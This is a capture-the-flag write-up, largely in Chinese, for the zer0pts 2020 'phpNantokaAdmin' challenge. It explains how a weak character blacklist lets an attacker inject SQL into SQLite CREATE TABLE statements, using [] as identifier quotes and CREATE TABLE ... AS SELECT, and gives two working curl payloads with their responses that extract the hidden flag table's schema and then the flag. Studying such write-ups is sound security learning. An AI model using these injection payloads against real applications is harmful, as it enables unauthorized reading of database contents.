phpNantokaAdmin is a management tool for SQLite.

Challenge (URL)

题目文件: phpNantokaAdmin_49b112bf908ecef40f17684f4120b0aa.tar.gz

题目是一个SQLite数据库管理工具,实现的功能只有table的创建,展示,record的插入,首先确认一下flag在哪里:

1
2
3
4
5
6
<?php

$pdo->query('CREATE TABLE `' . FLAG_TABLE . '` (`' . FLAG_COLUMN . '` TEXT);');
$pdo->query('INSERT INTO `' . FLAG_TABLE . '` VALUES ("' . FLAG . '");');
$pdo->query($sql);

创建了一个flag表,其中插入了flag记录。表名和列名是config.php中定义的常量,另外:

1
2
3
4
5
6
7
8
9
<?php

$pdo = new PDO('sqlite:db/' . $_SESSION['database']);
$stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name <> '" . FLAG_TABLE . "' LIMIT 1;");
$table_name = $stmt->fetch(PDO::FETCH_ASSOC)['name'];

$stmt = $pdo->query("PRAGMA table_info(`{$table_name}`);");
$column_names = $stmt->fetchAll(PDO::FETCH_ASSOC);

这样限制了可以展示的表仅限于flag表之外用户创建的表。

index.php中可以看出,创建表时表名,列名,列类型可能存在SQL注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if (!is_valid($table_name)) {
flash('Table name contains dangerous characters.');
}
if (strlen($table_name) < 4 || 32 < strlen($table_name)) {
flash('Table name must be 4-32 characters.');
}
if (count($columns) <= 0 || 10 < count($columns)) {
flash('Number of columns is up to 10.');
}

$sql = "CREATE TABLE {$table_name} (";
$sql .= "dummy1 TEXT, dummy2 TEXT";
for ($i = 0; $i < count($columns); $i++) {
$column = (string) ($columns[$i]['name'] ?? '');
$type = (string) ($columns[$i]['type'] ?? '');

if (!is_valid($column) || !is_valid($type)) {
flash('Column name or type contains dangerous characters.');
}
if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {
flash('Column name and type must be 1-32 characters.');
}

$sql .= ', ';
$sql .= "`$column` $type";
}
$sql .= ');';

但是,参数使用了utils.php中定义的is_valid函数进行一次检查,禁用了一些特殊字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

function is_valid($string) {
$banword = [
// comment out, calling function...
"[\"#'()*,\\/\\\\`-]"
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $string)) {
return false;
}
return true;
}

首先确认下能够通过is_valid函数的字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ cat test.php
<?php
function is_valid($string) {
$banword = [
// comment out, calling function...
"[\"#'()*,\\/\\\\`-]"
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $string)) {
return false;
}
return true;
}

$res = '';
for ($i = 0x20; $i < 0x7f; $i++) {
$c = chr($i);
if (is_valid($c)) {
$res .= $c;
}
}

echo $res . "\n";
$ php test.php
!$%&+.0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_abcdefghijklmnopqrstuvwxyz{|}~

注意结果,[]可以使用,在SQLite中,可以使用[]代替反引号`,来包裹关键词(文档

另外,SQLite中可以使用CREATE TABLE … AS这样的用法,从其他的表的内容来创建新的表。

利用这些,在创建表时,表名t AS SELECT sql [, 列名abc,列类型]FROM sqlite_master;, 这样拼接后的SQL为:

1
CREATE TABLE t AS SELECT sql [ (dummy1 TEXT, dummy2 TEXT, `abc` ]FROM sqlite_master;);

等价于CREATE TABLE t AS SELECT sql FROM sqlite_master;,(dummy1…被解释为sql的别名。这样在展示表时可以获得插入flag时的语句,其中包括flag表名和列名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ curl 'http://3.112.201.75:8002/?page=create' -b cookie.txt -c cookie.txt -L -H 'Content-Type: application/x-www-form-urlencoded' --data 'table_name=t+AS+SELECT+sql+%5B&columns%5B0%5D%5Bname%5D=abc&columns%5B0%5D%5Btype%5D=%5DFROM+sqlite_master%3B'
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="style.css">
<script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script>
<title>phpNantokaAdmin</title>
</head>
<body>
<h1>phpNantokaAdmin</h1>
<h2>t (<a href="?page=delete">Delete table</a>)</h2>
<form action="?page=insert" method="POST">
<table>
<tr>
<th> (dummy1 TEXT, dummy2 TEXT, `abc` </th>
</tr>
<tr>
<td>CREATE TABLE `flag_bf1811da` (`flag_2a2d04c3` TEXT)</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td><input type="text" name="values[]"></td>
</tr>
</table>
<input type="submit" value="Insert values">
</form>
</body>
</html>

得到了flag表名和列名,替换语句中的sqlsqlite_master 即可获得flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ curl 'http://3.112.201.75:8002/?page=create' -b cookie.txt -c cookie.txt -L -H 'Content-Type: application/x-www-form-urlencoded' --data 'table_name=t+AS+SELECT+flag_2a2d04c3+%5B&columns%5B0%5D%5Bname%5D=abc&columns%5B0%5D%5Btype%5D=%5DFROM+flag_bf1811da%3B'
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="style.css">
<script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script>
<title>phpNantokaAdmin</title>
</head>
<body>
<h1>phpNantokaAdmin</h1>
<h2>t (<a href="?page=delete">Delete table</a>)</h2>
<form action="?page=insert" method="POST">
<table>
<tr>
<th> (dummy1 TEXT, dummy2 TEXT, `abc` </th>
</tr>
<tr>
<td>zer0pts{Smile_Sweet_Sister_Sadistic_Surprise_Service_SQL_Injection!!}</td>
</tr>
<tr>
<td><input type="text" name="values[]"></td>
</tr>
</table>
<input type="submit" value="Insert values">
</form>
</body>
</html>

参考资料

https://st98.github.io/diary/posts/2020-03-09-zer0pts-ctf-2020.html